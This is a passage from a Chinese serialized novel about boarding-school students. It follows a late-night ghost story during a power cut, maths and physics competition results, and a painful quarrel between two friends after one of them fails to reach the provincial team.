楚天青还想解释,却不知该怎么解释。她从来没有故意让任何人难堪,而且,总觉得,纪明川说起“羞辱”这个词,还带着几分调侃的意味,像是玩笑,又像是吐槽,他到底是讨厌呢,还是喜欢呢? 还没想出个所以然,楚天青的心里又涌起一股羞耻感。她不由得快速后退:“我先回去了!再见!” 她一溜烟跑远了,冲进校门,回头一看,纪明川还站在原地,一动不动。他一手揣进裤兜,另一手牵着花卷,他们二人的距离过分遥远,他竟然还在看她,他在想什么? 风吹乱了她的头发,她不再考虑这个问题,转身跑回了寝室。 八月已是夏天的尾声。 这几日,沿海吹来了六级台风,带来几场断断续续的小雨。随着天气逐渐凉下来,暑假集训也快结束了。 楚天青只报名参加了数学和物理两科竞赛,已经顺利通过了第一次考试,很快就要在九月迎来第二次选拔赛。 竞赛老师争分夺秒地讲解难题,甚至给她单独开小灶,帮助她提升综合能力。除了做题,她的脑子里几乎装不下别的事。 每天上课时,纪明川坐在她的前桌,许月亭还是她的同桌,但她心里只有数学和物理。除了给他们讲题、还有向纪明川打听花卷的近况,其余的事情,她一概不回应,也不在意。 倒也不是她刻意冷淡他们,只是竞赛奖金实在太丰厚了,她也太需要这一笔钱了。她要给妈妈治病,给家里还债,还要给自己攒钱,如果错过了竞赛奖金,她一定会难过得睡不着。 郑相宜的状态,竟然和她差不多。整个八月,她们都是一样的忙碌。她们互相支持,彼此鼓励,讨论着物理难题,几乎每天形影不离。 九月初,学校开学了,整个校园又热闹起来,楚天青和郑相宜还在没日没夜地埋头学习,势必要在竞赛场上夺取名次。 然而,这天晚上,大概是十点半,寝室里的四个女孩都洗过澡后,宿舍楼里所有的灯一下子全灭了,走廊上一片漆黑,毫无一丝光亮,隔壁寝室传来一声尖叫:“啊啊啊!停电了,我作业还没写完!!” 宿管老师打着手电筒,匆匆赶来。她站在走廊上,提高了声音:“别叫了!老师刚刚接到通知,附近有一个施工单位,把电缆挖断了,咱们学校和周围小区都停电了,这是临时出现的供电故障,不是什么大事!同学们不要害怕,早点睡觉吧,千万别乱跑,都待在自己宿舍里!抢修队已经赶过去了,很快就能来电!” 宿舍楼里渐渐安静下来,黑暗仍未消退,像静默的潮水,吞噬了残余的声响。 楚天青迅速钻回床铺。 走廊上原本还亮着的两盏应急灯,也不知道在什么时候熄灭了。 楚天青拿起手机,想给妈妈发一条微信,又怕会让妈妈担心,终归还是把手机放下了。 “天呢,”顾思安在她的床上感叹,“停电了啊?真的停电了!” 郑相宜的声音从被子里幽幽传来:“你不害怕吗?” “嘿嘿,我不怕黑,”顾思安甚至有点兴奋,“我小时候,和我爸妈去野外露营过,那才叫一个恐怖!深更半夜,帐篷外面一直有奇怪的声音,像是有人被卡住了嗓子,喘不上气了,第二天才发现那是野猪,你们知道吗?真的有野猪!” 楚天青发自内心地感叹:“顾思安,你好强悍!” 顾思安的自信心瞬间膨胀,为了显示自己胆子大,她干脆在床上站了起来,兴致勃勃地提议:“我们来讲鬼故事吧!!” 楚天青倒吸了一口凉气,正要说话,没想到对面床上一向沉默寡言的陈曼也慢悠悠开了口:“好啊,我正想跟你们讲一个,你们做好准备了吗?” 陈曼说鬼故事,甚至比鬼故事本身更可怕。楚天青知道陈曼阅读量极大,不禁打了一个寒颤,也像郑相宜一样藏进了被子里。 33 伤痕记忆效应 陈曼坐在床上,双手抱膝,声音很低沉:“我家旁边有一栋废弃的居民楼。有一天晚上,我放学回家,路过那栋楼,看见一楼的窗户破了个洞……我凑过去,透过破洞往里看……” 她顿了一瞬,才继续说:“那里有一面镜子,镜子里是一个长头发的人……那个人没动,我却听见‘嘶啦嘶啦’的声音,像是有人在撕塑料袋……我吓坏了,赶紧跑回家,进了洗手间洗手……” 她的声音越来越低:“我明明正在洗手,镜子里的我却一动不动,眼睛死死盯着我背后。我吓得回过头!什么也没看见,却又听见了‘嘶啦嘶啦’的响声……” 楚天青已经很害怕了。陈曼又接着说:“我忽然明白了,那个人,一直都站在镜子这边……跟在我身边……突然,冰凉的发丝从我头顶垂下来,扫过我的脸……我抬起头,看到那个人倒挂在天花板上,一寸一寸蹭过来,整张脸贴着我,对我说,嘿嘿,你猜对了……” 楚天青的呼吸几乎停止了,顾思安竟然爆发一阵笑声:“哈哈哈哈,好有病,那个鬼倒挂在天花板上,你们不觉得挺好笑的吗?” “不觉得,”郑相宜还用被子蒙着头,“要是你晚上睡觉的时候,忽然感到一缕冰凉的头发扫过你的脸,你睁开眼,看到一个脑袋悬在空中,就在你眼前,我不信你还能笑得出来。” 顾思安又笑了一声:“陈曼,你为什么要用第一人称说鬼故事?郑相宜都被你吓坏了。” 陈曼躺了下来:“第一人称,才有代入感啊。” 确实,第一人称的代入感太强了。 楚天青打了一个寒颤,连忙把脸埋进枕头里,闭紧了眼睛,一动也不敢动,生怕一睁眼就看见什么奇怪的东西。 刚才那个故事,越细想,越恐怖。鬼一直跟着主角,主角却没发现。她先是在楼下的镜子里看到鬼,以为鬼在屋子里,其实,鬼就在她身边,当她反应过来,鬼才真正现身了。 寝室楼还没来电,走廊里的说话声越来越小。楚天青侧耳细听,只能听见窗外夜风吹过树叶的轻响。 楚天青点开手机屏幕,现在是晚上十点零七分,很多人都已经睡着了。 陈曼和顾思安似乎一点也不怕鬼,她们二人呼吸平稳,渐渐沉入梦乡之中。然而,楚天青和郑相宜还很清醒。郑相宜悄声问:“你睡着了吗?” “没有,”楚天青小声说,“我在想,如果我怕鬼,鬼还来吓我,那这个鬼是不是欺软怕硬呢?是不是觉得我很好欺负?所以,它才专挑我一个人欺负。这么一想,我反而生气了,甚至是愤怒,也不怎么害怕了。” 郑相宜笑了一下,又翻了个身:“我还是有点怕,你能不能到我这边来,和我聊聊天?” 楚天青犹豫了一会儿,还是抱着她心爱的毛绒鲨鱼,悄悄爬到了郑相宜的床上。 寝室的单人床十分狭窄,楚天青和郑相宜勉强可以平躺,却还是手臂贴着手臂,空间相当拥挤。她们二人只好侧过身,面对面躺着,才觉得稍微宽敞了一些。 郑相宜穿着一条轻薄睡裙,冰凉滑润的布料擦过楚天青的膝盖。 楚天青还闻到了郑相宜身上淡淡的柑橘香气。她心里更加恍惚,压低声音问:“你真的很怕鬼吗?” “也不是,”郑相宜嗓音极轻,“最近压力太大了,我怕……考试成绩不好……” 楚天青忍不住安慰她:“可是你去年不是已经获得了省级物理、化学竞赛一等奖吗?你一直都那么厉害,有什么好担心的呢?” 郑相宜轻叹一声:“可我没进省队啊,我们学校,除了竞赛班的学生,没人能进省队。我担心自己是不是在浪费时间……我想上最好的学校,选最好的专业,我怕自己做不到,但我也不是真的非要做到,因为这个目标也离我很远……我妈妈说,我应该对自己要求更高一些……有时候,我觉得很累。” 在这个黑暗沉寂的夜晚,她们只能听见彼此的呼吸声。 楚天青把毛绒鲨鱼垫在背后,轻轻托起郑相宜的一只手,两人掌心贴着掌心,楚天青格外诚恳:“你一定要对自己有信心,你可是我们班的宜神。” “究竟是神,还是鬼?”郑相宜笑着自嘲,“恐怕只有我自己知道。” 其实楚天青一直觉得,郑相宜是很有傲气的。她聪明、优秀,还有一身铮铮铁骨,宁折不弯,全班女生都很仰慕她。 却不知道为什么,郑相宜的心里,也藏着对她自己的怀疑。 难道,这也是一种人生常态吗?除了极少数天生自信的人,大多数人都会在某一瞬间,怀疑自己是不是不够好、不够强、不够优秀? 郑相宜还说:“刚才陈曼说的那个故事里,鬼一直跟着人,我就在想,我自己心里会不会也藏着什么‘鬼’呢?” “你没有,”楚天青一口咬定,“你光明磊落,坦坦荡荡,根本不用担心那种事。十八班的许月亭都比你更像是心里有鬼的人。” 郑相宜小声地笑了笑:“我还以为你和许月亭关系很好呢。” 怎样的关系,才算是关系好呢? 楚天青一直不太擅长与人相处。她并不讨厌许月亭。他的言谈举止温柔得体,每一句话都让人如沐春风,却又始终带着一种若有若无的距离感,她无法真正靠近他。 除了纪明川,所有人都和许月亭相处融洽,就连宋远舟也会和许月亭开两句玩笑。 不过,她和许月亭坐同桌的这一个多月以来,她看不懂许月亭的想法,也听不懂他的话是否出自真心。 在她眼里,许月亭和陈曼几乎是一模一样的,都被她归类为“神秘人”。 相比之下,纪明川的情绪更直接,更容易让人理解,因此,纪明川被她定义为“搞笑人”。 毛绒鲨鱼还在她的背后,她把手伸过去,捏了捏鲨鱼的小翅膀,指尖下是绒毛柔软的触感。 郑相宜轻声自言自语:“我有点迷茫。” 楚天青忽然想起以前医生对她说过的话,她转述给了郑相宜:“最重要的是你的健康,真的,健康才是一切的前提。” 说着,她从床上坐了起来,抱着毛绒鲨鱼,像在给郑相宜上课:“我以前看过一本书,告诉读者怎么才能快乐生活?书里说,第一,要有自信,还要忙碌起来,给自己找点事做。忙碌其实比清闲更让人开心,因为人的大脑,从蛮荒时代起,就适应了忙碌和刺激。第二,要学会减压,多睡觉,多玩,多晒太阳,可以看看小说、做做运动什么的,哪怕只是和朋友说说话,也会好很多。” 郑相宜听着,微微点头:“等我考完试了,我一定要回家大吃一顿。” 楚天青抱紧了毛绒鲨鱼:“我外婆总说,人能不能过得好,有一半靠运气。你身体好、精神好,才能抓得住运气,把握机会,过上你想要的生活。” 郑相宜沉默了一会儿,声音越来越轻:“你外婆是不是经历了很多事?” 楚天青很诚实:“嗯,她没上过学,今年七十三了。” “你外婆有没有说过……”郑相宜又问,“如果我为了某件事……准备了很久,最后还是失败了,被别人笑话了……那该怎么办呢?” 楚天青坐得端端正正,认真地说:“首先,你不会失败。其次,就算有人笑话你,那也是极少数,大多数人都很佩服你。我也是啊,我经常忍不住夸你。” 夜色更深了,楚天青的嗓音也更轻柔了:“不过,人总是更容易记住一次伤害,而不是十次好话,在心理学上,这叫‘伤痕记忆效应’。所以,你不是不够好,而是我们的大脑,有时候太苛刻了,会故意挑选那些难听的话……留在你的脑海里。” “那我要忘记那些坏话,”郑相宜口齿不清,“我只想记住好话……” 楚天青不假思索:“你可以怀疑别人,但……至少别怀疑你自己,你的健康和快乐,才是最重要的。” 郑相宜没再回话,楚天青听出她已经睡着了,立即抱起毛绒鲨鱼,轻手轻脚回到了自己床上。 这个夜晚,虽然听了一个鬼故事,楚天青还是睡得很踏实。 暑气消散,秋意渐浓。 九月秋雨微凉,校园里的枫叶染了红霜,风一吹,落叶无声,转眼已是九月中旬。 数学竞赛和物理竞赛的复赛选拔如期举行。学校非常重视复赛,甚至准备了校车,把参赛的同学们送入考场。 考试期间,楚天青拿出了全部实力。每一道题她都写得很认真,答卷速度飞快,却又保持着头脑冷静。做完之后,她反复检查,甚至还会仔细验算几遍。 这一次的题目,比预赛难得多。预赛的难度已经超过了高考,而复赛,则是彻底拔高,真正意义上的淘汰赛。 只有在这一场考试取得高分,她才能进入省队,甚至,走向全国竞赛的擂台。 34 入选省队 复赛结束之后,楚天青回到了学校。 生活似乎又恢复了平静,十七班的大多数同学都不怎么关注竞赛,这两天,楚天青很少听见与竞赛相关的消息,她紧绷的心弦也渐渐放松下来。 今天是周一,早自习已经开始了,教室里传来朗朗读书声,楚天青和纪明川还在走廊上打扫卫生。 纪明川拿着抹布,使劲擦着瓷砖。这块抹布是他从自己家里带过来的,原本只是一条旧毛巾,现在成了他手里的劳动工具。 不到十分钟,他就把瓷砖擦得干干净净、锃亮如新,相比之下,隔壁十八班简直像个乱糟糟的狗窝。 纪明川看了一眼十八班的走廊,心里浮现出一种浅薄的优越感:“嗯,比十八班更干净。” “你为什么总要和十八班比较呢?”楚天青一边拖地,一边问他,“好奇怪啊,你以前不是这样的。” 纪明川擦得更用力了:“以前是以前,现在是现在……” 他随便找了个借口:“我这么做,并不是为了我自己,主要还是为了我们十七班的班级荣誉。” 楚天青感叹道:“哇,你真的好优秀,好有责任感,以后无论做什么工作,肯定都能做得很好。” 纪明川的唇角微微勾了一下。他单膝跪在地上,望着远处操场边上的繁茂树木,假装自己正在看风景,耳边却还回荡着楚天青刚才那句“你真的好优秀,好有责任感”,他忍不住笑出了声:“其实也还好,也就一般,你不用说得太夸张。” “真的,我是认真的,”楚天青又夸了他一句,“你以后干什么都行,哪怕你去做保洁,肯定也是最优秀的保洁。” 纪明川的笑意僵在了唇边。他想问楚天青“你刚才真的在夸我吗”,又不想把话说得太明白,他轻咳一声:“我们家在郊区有个工厂,我可以去厂里打工,不至于非要做保洁。” “啊?”楚天青提着拖把,走了过来,“那是什么工厂,你能做什么呢?” 楚天青的爸爸妈妈都在服装厂做流水线工人,她对“进厂打工”是充满好奇的,想让纪明川多讲讲工厂的事,讲讲那里的人、那些重复枯燥的工作、那些她听不懂却又忍不住想象的生活细节。 她双眼一眨不眨地盯着纪明川,纪明川擦瓷砖的动作也慢了下来。他指尖划过瓷砖的边缘,脱口而出:“是个精密仪器厂,我会拧螺丝、搬重物、组装零件……最差也能靠卖苦力混口饭吃。” 楚天青极轻地笑了笑:“不会的,我不会让你卖苦力。” 抹布从纪明川手里滑落了。他低下头,不看她,只看着瓷砖:“什么意思?说清楚点。” 等待的过程相当漫长,不过短短几秒而已,却像是站在真空之中,周围没有声音,也没有时间流动,此刻的一切都悄然静止了。 楚天青略微弯下腰,捡起那一块抹布,又递到纪明川手边:“我的意思是,以后我们长大了,我应该能找到工作,到时候,你要是遇到什么难处,我可以帮你介绍工作,或者借你点钱……反正,我不想让你过得太辛苦。” 纪明川接过抹布:“嗯,谢谢,你人真好。” 楚天青哈哈大笑:“我也喜欢说这句话。” 近旁传来一阵脚步声,劳动委员冯康拎着湿漉漉的拖把,从走廊的另一侧走过来。 冯康指了指楚天青和纪明川:“你们动作快点儿吧,墙边的瓷砖还没擦完,楼梯口那边的地板也还没拖,早读都快结束了,一会儿老师来了,肯定得说你们……” “还有二十分钟结束,”纪明川抬起左手,瞥了一眼手表,“应该来得及。” “好!我马上!”楚天青拎着拖把,跑到了楼梯口,用尽全力开始拖地。手心被木柄磨得微微发烫,她也不在意,只想把每一块地板都拖干净。 如今已是九月下旬,初秋时节,空气里透着清晨特有的凉意,拖把在地板上留下深浅不一的水迹,差不多快搞定了,楚天青深吸一口气,心情更是轻松了不少。 她偷偷瞄了一眼纪明川,纪明川正背对着她,专心擦拭着墙角的污渍,靠墙一面的瓷砖也被他清理得焕然一新。 忽然,楼梯口传来一道人声:“楚天青,在做值日啊?” 楚天青转过头,竟然看见了数学竞赛组的老师段启言。 段启言左手提着一个公文包,右手拿着一杯咖啡,像是才刚赶到学校。他看见楚天青,唇边带着笑意,随口问了一句:“复赛考得怎么样?最后一题做出来了吗?” 楚天青没想到自己会在楼梯口撞见段启言。 段启言很关心她的成绩。 复赛结束当天,段启言就问过她这个问题,当时她只简短地回了两个字:“还行。” 她不是不愿意说话,只是,复赛的题目实在太难,而她患有强迫症,每一次做完这种高难度的竞赛题之后,她都需要一个人静一静,在脑海中复盘思路,理顺每一个推导步骤之后,才能慢慢回到现实,继续与人正常交流。 她觉得自己考得还可以,但也没有必胜的把握。 市级预赛不过是一场热身,省级复赛才是真正的分水岭,面向全省优等生。 她不知道自己能否考进全省前五十名,顺利加入省队? 因此,她轻声回答:“老师,结果还没出来,我也不确定,不过,最后一道题,我写出来了。” 段启言很高兴:“明天下午我们在阶梯教室讲解复赛试卷,你可以上台给大家说说你的思路,最后一道压轴题……全校可能只有你一个人做出来了。” 只有她一个人做出来了? 怎么可能呢? 楚天青十分惊讶:“可是,那道题,不就是‘调和函数分析’吗?” “考试时间太短,运算量太大了,”段启言叹了一口气,“我问了好几个学生,他们都没把握。在考场里,大部分人都没时间写完……” 段启言和楚天青的对话,纪明川听得清清楚楚。 纪明川正站在不远处。瓷砖已经擦完了,他还没离开,也记起了数学竞赛复赛的最后一题,他只能用“恶心”来形容,楚天青竟然把它做出来了,真是非同一般的水平。 劳动委员冯康恰好也从走廊上经过。他听见段启言让楚天青做好准备,明天下午去阶梯教室讲解数学竞赛复赛的压轴题。 冯康立即跑回高三(十七)班的教室里,向全班同学传达:“楚天青数学竞赛考得特别好!她要去阶梯教室讲题了!” 班上同学“哇啊”地喊叫起来,有人鼓掌,有人嬉笑,陆子昂的脸色却变了。他嗤笑一声:“成绩还没出来呢,她有什么好狂的?竞赛班的那些人,哪个不比她厉害,人家也没像她这么狂,还敢去阶梯教室讲题,笑死人了。” 陆子昂的同桌不敢得罪他,只说:“万一楚天青真的考得不错呢?” “不可能,”陆子昂把语文书摔在了桌上,“她才学了几天竞赛?怎么可能考得过别人?” 随着一声重响,语文课本摊开了,风吹动了书页,陆子昂更是心烦意乱。他喃喃自语:“我总觉得,只要楚天青一出现,我就会倒霉……” 同桌接话道:“她八字是不是克你啊?” “很有可能,”陆子昂双手搓了搓额头,“我在班上一直过得挺顺的,自从她转过来,给我闹得,大事小事全都不顺,老师同学也护着她,那些倒霉事,都让我一个人摊上了。” 他冷哼了一声,又骂了一句:“真是晦气。” 他才刚骂完,楚天青和纪明川一前一后走进教室。 楚天青的脸上洋溢着笑容,双眼也是亮闪闪的,她的心情好得不得了。今天早晨,她和段老师讨论了复赛的试题答案,段老师还说她一定能进省队,将在今年十一月参加全国竞赛决赛。 那可是全国竞赛啊,从前她连想都不敢想,现在,她终于拿到了入场券。 次日下午,段启言在阶梯教室开了一堂数学课,专门给学生讲解复赛试题,高二、高三年级的数学竞赛生全部到场,楚天青和纪明川也来了。他们二人来得比较迟,只能坐到最后一排。 阶梯教室的座椅远比普通教室更舒服,楚天青并不在意自己的座位在哪里。 她安安静静坐在纪明川身旁,手里攥着笔,心不在焉地在草稿纸上勾描出一副画。 她随手画了一朵向日葵,铅笔的笔尖轻轻扫过纸面,发出沙沙声响。 纪明川瞥了一眼,忽然低声开口:“画得挺好。” 楚天青在向日葵旁边添了几笔,画出一个四肢健全的人形,她的笔法有些凌乱,那个人的轮廓却渐渐变得清晰。 纪明川很快就认出来了,楚天青竟然正在画他。如果被同学发现了,恐怕会损伤楚天青的声誉,虽然楚天青和纪明川两个人清清白白,但在旁观者的眼里,他们关系匪浅,这当然是一种误解。想到这里,纪明川及时制止:“行了,快上课了,还是别画了吧。” “为什么?”楚天青问他。 纪明川答不上来,只能说:“万一你把我画得很丑怎么办?” “没关系啊,”楚天青毫不犹豫,“你本来就长得很好看,你在这幅画里是什么样,根本不重要,那又不是真正的你。别人怎么看你,也不重要,我知道你是……” 楚天青只不过停顿了一秒,纪明川连忙追问:“是什么?你还没说完这句话。” 楚天青看出来纪明川非常重视这个问题,她认真思索了一会儿,才说:“你是一个善良、可靠、一直在努力,肯为别人付出的人。” 够了,又是这一套。 纪明川在心里抱怨了一句,唇角却又微微勾起:“这些事很多人都能做到,我也没什么特别的。” 阶梯教室的座位十分宽敞,纪明川的书包就放在他右侧,一个空座位的软垫上。楚天青忽然注意到,纪明川的书包上竟然挂着那一只毛绒金鱼,是她之前送给他的礼物。 小小的毛绒金鱼,正悬在半空之中,纪明川一直把它带在身边,从未遗忘。 楚天青小声说:“你在我心里很特别。” “有多特别?”纪明川侧头看她。 楚天青露出一个灿烂笑容:“和郑相宜、顾思安一样特别,你们都是我的朋友,对吧?” 她听见纪明川“呵呵”地笑了,他又把头转回去了,却没忘记回答:“对,你说的都对。我和你的朋友关系可能还比不上郑相宜、顾思安,你有你自己的朋友圈,我勉强算是个编外人员吧。” 楚天青“哈哈”地笑出声来。 与此同时,段启言老师敲响了讲桌:“上课了,同学了,老师要开始给你们讲题了,专心听讲啊,这一次的复赛试题难度很大。” 楚天青不再说话。她认真听讲,但也不记笔记,只是双手托腮,静静地看着黑板和讲台。 段启言讲题的速度很快,课堂气氛一直很好,几乎每道题都有学生主动举手提问,段启言也耐心解答了。 讲到最后一道题的时候,段启言站到一旁,拿起水杯,喝了一口温水,润了润嗓子,才微笑着说:“好,这是一道函数分析题,老师之前问过你们,谁做出来了?本来不抱希望的,没想到,楚天青做出来了。楚天青,你到讲台上来,把你的解法讲给大家听听。” 段启言还说:“楚天青有很多简便运算的小巧思,你们记得多做笔记啊。” 教室里响起一阵热烈的掌声,楚天青心跳飞快,却还是站了起来,缓步走到了讲台上。她拿起一支粉笔,在黑板上飞速写出她的解法:“这是一道典型的复变函数三线性定理的应用,或者说是调和函数的最大值估计,我们可以利用边界的两个已知上界,通过调和函数的插值原理,算出中间点的最大值……” 楚天青在黑板上写得极快,运算过程没有一丝停顿,台下同学也在“刷刷”记着笔记。楚天青把她的思路全部说了出来,就连心算的技巧也讲解得清清楚楚,毫无保留地分享给了每一个人。 她写完了以后,又有同学问了几个问题,她一一解答,也没有一丝不耐烦。 忽然,台下有人鼓掌,好像是纪明川?楚天青没看清,全班又开始鼓掌了,阶梯教室里掌声雷动,她由衷地笑了一声,面朝同学,深深地鞠了一躬:“谢谢!希望以后还有机会能给大家讲题。” 这堂课结束之后,同学们嘴上不说,心里也都明白了,楚天青一定能进省队。她虽然没有经历过长达几年的竞赛训练,但她对自己的要求是极高的,或许从小就开始锻炼心算能力,也在小学、初中阶段提前学完了高中、甚至是部分大学课程。 因此,她转来省立一中之后,扶摇直上九万里,老师们器重她,尽力辅导她,同学们仰慕她,却也追不上她的脚步。 九月下旬,数学竞赛、物理竞赛的复试成绩都出来了。 如同所有人预料的那样,楚天青在数学、物理这两门竞赛中都取得了极好的成绩,顺利入选省队。 然而,除了楚天青之外,没有任何一个非竞赛班的学生拿到了省队的名额。 纪明川和去年一样,只拿了一个数学竞赛省级一等奖。他早有预感,也就没当回事。他把自己的希望寄托在了语文上,他一定要考到语文满分。 郑相宜也失败了。她虽然获得了物理竞赛省级一等奖的荣誉,却还是没能进入省队。 郑相宜知道自己发挥失常了,化学竞赛甚至只考到了省二等奖,比起去年,竟然还退步了。 至此,她的高中竞赛生涯已经结束,这次考试是她最后的机会,而她终究没有抓住。 多年来的心血,全都浪费了。 高一开学之前,她参加过选拔赛,却没考上竞赛班。 后来,她付出了很多努力,才取得了现在的成绩,可是还不够,远远不够。 她还记得,复赛的那天早晨,学校的校车把她送到了考场门口,妈妈也来了。妈妈是开车来的,那一辆白色轿车停在路边,她看见那辆车,心头一热,妈妈对她的爱,从来都是毫无保留的。 妈妈给她送了一碗八宝粥,还特意穿了红色旗袍,祝她旗开得胜,可是她又一次让妈妈失望了。 郑相宜消沉了一整天,却没在寝室里表现出来。 顾思安和陈曼都在兴高采烈地恭喜楚天青加入省队,郑相宜也笑着道喜,但只有她自己知道,那一刻,她心里其实有些不是滋味。 第二天早晨,下了一场小雨,细雨飘洒,水雾迷蒙,天空阴沉沉的,看不见一丝阳光。 郑相宜没和室友们一起吃饭,只是一个人去了食堂,喝了一碗粥,慢慢走回教室。 今日秋意浓厚,雨凉薄,风也凉薄,寒气渗进衣袖,她打了一个哆嗦。当她从走廊上穿过时,高三(十七)班的班牌近在眼前,却又好像距离她很远似的。 她忽然听见有人正在议论她……是陆子昂的声音。 陆子昂坐在第一大组,他的座位紧邻着一扇窗户。他把语文书盖在自己脸上,也不早读,只问:“哎,你们都来说说,郑相宜为什么没考过楚天青?” 陆子昂的同桌语气惊讶:“郑相宜这么努力也没用啊?上上周吧,我在食堂看到她了,她中午吃饭的时候还在学物理呢,她把笔记本放在面碗旁边,看一眼,吃一口……我真是服了她了。” 前排另一个同学接话道:“大课间跑操,郑相宜手里还拿着一张纸,上面密密麻麻全是物理公式……” 陆子昂懒洋洋地附和了一句:“就是,她下课也不出去玩玩,就坐在座位上看题,跟个书呆子似的。” 同桌被他的话逗乐了,忍不住笑出了声:“结果呢?郑相宜这次也没进省队,和去年考了一样的名次,那不还是没用吗?白费力气。” 前排的同学又说:“就是没用啊,她的目标是清北,又不是别的学校,别人要是考了省一,那是真高兴啊,还能参加强基计划,但她就不高兴,她去不了清北。还不如不要搞这些,一开始就好好学习,老老实实参加高考,给她妈省点钱。我听说她从高一开始上的那个竞赛补习班,一节课要好几千呢,纯属烧钱,血亏,她妈给她砸了不少钱,全浪费了。” 郑相宜也没想到,同学们如此关注自己。 是的,她从高一开始补习,辅导她的老师都有丰富的教学经验。她曾经也心疼过这些钱,妈妈却说,妈妈在教育上投资女儿,无论花费多少钱,那都是应该的。 正在过道上拖地的劳动委员冯康插了一句话:“郑相宜太要强了,害了她自己,也害了她妈,她当年都没考上竞赛班,还非要走这条路……哎,这个竞赛啊,真要看天赋,楚天青的天赋就很强,我和你们打赌,楚天青就是全校最强,强者中的强者,神人里的神人……竞赛班的那些人,还有隔壁班的许月亭,天赋都比郑相宜更好吧。” “你放屁!”陆子昂脸色一沉,突然发火了,“许月亭好做作,我真吐了,没见过比他更装的,虚伪得要死!你们别和我提他,一说他名字,我就来气,真想一拳打到他脸上……” 郑相宜已经没有心思参与陆子昂和许月亭的纠纷了。她走进教室,狠狠地瞪了一眼陆子昂,然后才走回自己的座位。 当天中午,下课后,楚天青和往常一样邀请郑相宜一起去吃午饭,郑相宜却拒绝了她:“我今天想去另一个食堂。” “那我陪你!”楚天青依旧热情。 “哦,不用了,”郑相宜一手拎着书包,往外走,甚至没回头看一眼楚天青,她另一只手拽着顾思安的胳膊,嘴上还说,“我和顾思安说好了,要去吃那一家……火锅,我们已经定过座位了,只有两个人的座位。” 只有两个人? 楚天青怔怔地望着郑相宜和顾思安,一句话也说不上来。 顾思安夹在郑相宜和楚天青之间,进也不是,退也不是,更不知道她们两个人是在闹什么? “哪有什么两个人的座位……”顾思安嘀咕了一句,正要把郑相宜的手甩开,却看见郑相宜的眼中泪光闪烁。 顾思安与郑相宜认识六年了,郑相宜从没在她面前哭过,她还以为,郑相宜从来不会哭呢? “哎呀,”顾思安很着急,“算了,楚天青,今天我先陪郑相宜吃饭,明天我们再一起去吃!我请你吃酸菜鱼和麻辣香锅!” 楚天青站在走廊上:“嗯,好的……” 顾思安摆了摆手,转头走下了台阶。 原来学校每一层台阶都有二十六个阶梯,楚天青以前从来没数过,今天是她第一次数,也是她第一次独自去吃饭。 她心神恍惚,又记起妈妈说的那句话:“如果人家突然和你断交了,你怎么办?” 是啊,她要怎么办呢? 她又能怎么办? 中午这顿饭,楚天青吃得很慢。 35 道歉信 问题还没解决,楚天青不想睡午觉。她推了推桌上的那杯奶茶:“你要是心情不好,吃点甜的,会好受一点。” 郑相宜还是不说话。 楚天青只用气音说:“你说句话吧……到底怎么了?” 郑相宜双手捂住了脸,只觉得自己的脑子里一片空白,太阳穴一抽一抽地跳着,隐隐作痛,她不想开口讲话,只想安静地一个人待着。 楚天青急忙解释:“我没有,没有别的意思,是你突然不理我了,也不愿意和我一起吃午饭……” 郑相宜猛地抬头,打断她:“你都知道了,为什么还要说出来?” 她站起身,语气冰冷:“很没意思。” 楚天青怔住了。她从没见过这样的郑相宜,冷漠、生疏、高傲,像是换了一个人。可她们昨天还好好的啊。鼻子一酸,她拼命忍住快要涌上来的眼泪,声音微微发颤:“你是不是生病了?要不要……去医院看看?我认识、认识很好的医生,在一个三甲医院里,离学校不远……” “我没有!”郑相宜忽然失控了,“我好得很!我没生病,也不需要你可怜我!” 楚天青更着急了,声音也陡然提高:“我不是在可怜你!我就是想不通,为什么你突然就变成这样了?难道你以前和我说的那些话,都是假的吗?!你说过,我们永远都是好朋友,你还说你很害怕,我都记得,我都明白,可你为什么还要这样对我?!” 郑相宜也没想到,楚天青会突然大声吼她。她像是被逼到了极限,眼眶通红,浑身颤抖,却咄咄逼人:“我为什么不能这样对你?谁规定了我必须对你好?我凭什么什么都要和你说?我凭什么一定要和你一起吃午饭,对你说心里话,装得好像什么事都没有?你是我什么人?你跟我一点关系都没有!!” 楚天青脸色苍白,只摇了一下头:“不是……不是的?” 她倔强地瞪着郑相宜:“你不和我说话,不想理我,讨厌我,我都可以接受。” 她的声音里带着哭腔:“可是你为什么说我们一点关系都没有?你难过、你伤心,你可以怪我、讨厌我,但你不能否定一切!我从来没有伤害过你,从来没有!你不能装作你不认识我!!” 她实在忍不住了,眼泪夺眶而出,她哭得上气不接下气,却还是咬紧了嘴唇,没哭出声。 郑相宜站在原地,直视她的双眼,泪水也从郑相宜的眼眶里流出来,郑相宜说话的声调反而平静了:“我是对你说过很多话,我说过我很怕,我们是朋友……可是,那又怎么样?都已经过去了。” 楚天青的呼吸一顿:“所以……所以你说的那些都不算数了,是吗?我们以前说好的、约定过的,都作废了,是吗?” 郑相宜还没回答,楚天青已经崩溃了:“就因为你心情不好,你就能这样对我吗?我到底做错了什么?!” “你什么也没做错,”郑相宜猛然拖动了椅子,“我真的好累,我受够了。” 那椅子“砰”地撞到了书桌上,奶茶落到了地上,“啪”的一声脆响,温热的液体瞬间泼溅开来,黑色的珍珠四处乱滚,滚得满地都是。 顾思安已经完全愣住了。她背靠着自己的衣柜,沉默地望着楚天青和郑相宜。 躺在床上的陈曼却问了一句:“郑相宜,你是不是嫉妒楚天青?” 嫉妒? 郑相宜喘着气,眼泪汹涌地流下来:“你就当我是嫉妒你吧,我低劣、恶毒、虚伪,小家子气,我努力了这么久,还是一无所有,你越是对我好,我就越觉得自己像个笑话。” “不是的……”楚天青也在哭,“你为什么要这么说你自己?” 郑相宜坐到了椅子上:“没有为什么……我就是不想和你说话,你听懂了吗?” 楚天青站在原地,张了张嘴,半天都讲不出一句话,喉咙像是被卡住了一样,她艰难地呼吸着,颤抖着从书包里拿出一盒药,打开,抠出一粒,混着眼泪吃下去,好苦,好咸。 “我以后不会再对你好了,”楚天青的声音轻得几乎听不见,“从现在开始,我不会再理你了……” 郑相宜不甘示弱:“那太好了,我也不想理你。” 楚天青缓缓爬回自己的床铺,她抓起枕头,放到了另一侧,远离郑相宜。药效已经上来了,她倒头睡着了。 这一觉睡醒,竟然是下午三点。 楚天青坐了起来,这才发现寝室里空无一人,郑相宜、顾思安、陈曼都不在,她们已经走了。 楚天青连忙下床,在走廊上找到了宿管阿姨。 